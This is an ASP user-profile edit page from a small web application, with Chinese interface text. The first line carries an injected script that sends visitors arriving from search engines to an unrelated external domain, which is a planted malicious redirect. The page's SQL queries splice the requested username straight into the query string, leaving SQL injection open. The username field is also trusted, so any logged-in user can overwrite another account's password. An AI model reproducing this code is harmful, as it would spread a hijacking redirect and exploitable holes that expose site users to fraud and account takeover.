d:\wwwroot\wuchunhua\zhuce\useredit.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
002:
if session("Passed")<>True then
003:
response.redirect "index.asp"
004:
end if
005:
%
>
006:
<!--#include file="conn.asp"-->
007:
<!--#include file="inc/md5.asp"-->
008:
<%
'用户修改模块
009:
if request("edit")="ok" then
010:
dim rs2,sql2
011:
set rs2=server.createobject("adodb.recordset")
012:
sql2="select * from users where username='" & request("username") & "'"
013:
rs2.open sql2,conn,1,3
014:
rs2("zname")=request("zname")
015:
rs2("email")=request("email")
016:
if request("password")<>"" then rs2("password")=md5(request("password"))
017:
rs2.update
018:
rs2.close
019:
set rs2=nothing
020:
response.write "<script>alert('修改成功，请返回！');history.back();</script>"
021:
response.end
022:
end if
023:
'显示用户信息
024:
dim rs,sql,zname,email,passt
025:
set rs=server.createobject("adodb.recordset")
026:
sql="select * from users where username='" & request("username") & "'"
027:
rs.open sql,conn,1,1
028:
029:
'测试失败：错误 '80020009'原因:也是在利用SQL查找数据库记录时,查找结果为空,而且你在后面的代码中调用了rs(“aa”)之类的记录 解决:要么同上,加
030:
if rs("admin")=1 and session("username")<>rs("username") then
031:
rs.close
032:
set rs=nothing
033:
conn.close
034:
set conn=nothing
035:
response.write "<script>alert('管理员之间不能相互修改资料,请返回!');history.back();</script>"
036:
response.end
037:
else
038:
username=rs("username")
039:
zname=rs("zname")
040:
email=rs("email")
041:
passt=rs("passt")
042:
rs.close
043:
set rs=nothing
044:
conn.close
045:
set conn=nothing
046:
end if
047:
%
>
048:
<html>
049:
<head>
050:
<title>用户基本信息</title>
051:
<style>
052:
div {
053:
text-indent: 400px;
054:
height: 30px;
055:
}
056:
</style>
057:
<!--mstheme-->
<link rel="stylesheet" type="text/css" href="../_themes/sky/sky1011-106.css"><meta name="Microsoft Theme" content="sky 1011, default">
058:
</head>
059:
<body>
060:
<form method="post" action="useredit.asp?edit=ok">
061:
<input type="hidden" name="username" value="
<%
=username
%
>" />
062:
<div style="text-indent: 500px;padding-bottom: 10px;">用户基本信息</div>
063:
<div>用 户 名:
<%
=username
%
></div>
064:
<div>密 码: <input type="password" name="password" /> * 不填可留空</div>
065:
<div>真实姓名: <input type="text" name="zname" value="
<%
=zname
%
>"></div>
066:
<div>邮 箱: <input type="text" name="email" value="
<%
=email
%
>" /></div>
067:
<div>密码提示:
<%
=passt
%
></div>
068:
<div>密码回答: *************</div>
069:
<div><input type="submit" value="修改" /> <input type="button" value="我的界面" onclick="window.location='index.asp'" />
<%
if session("admin")=1 then
%
><input type="button" value="管理界面" onclick="window.location='userlist.asp'" />
<%
end if
%
></div>
070:
</form>
071:
</body>
072:
</html>
073:
074: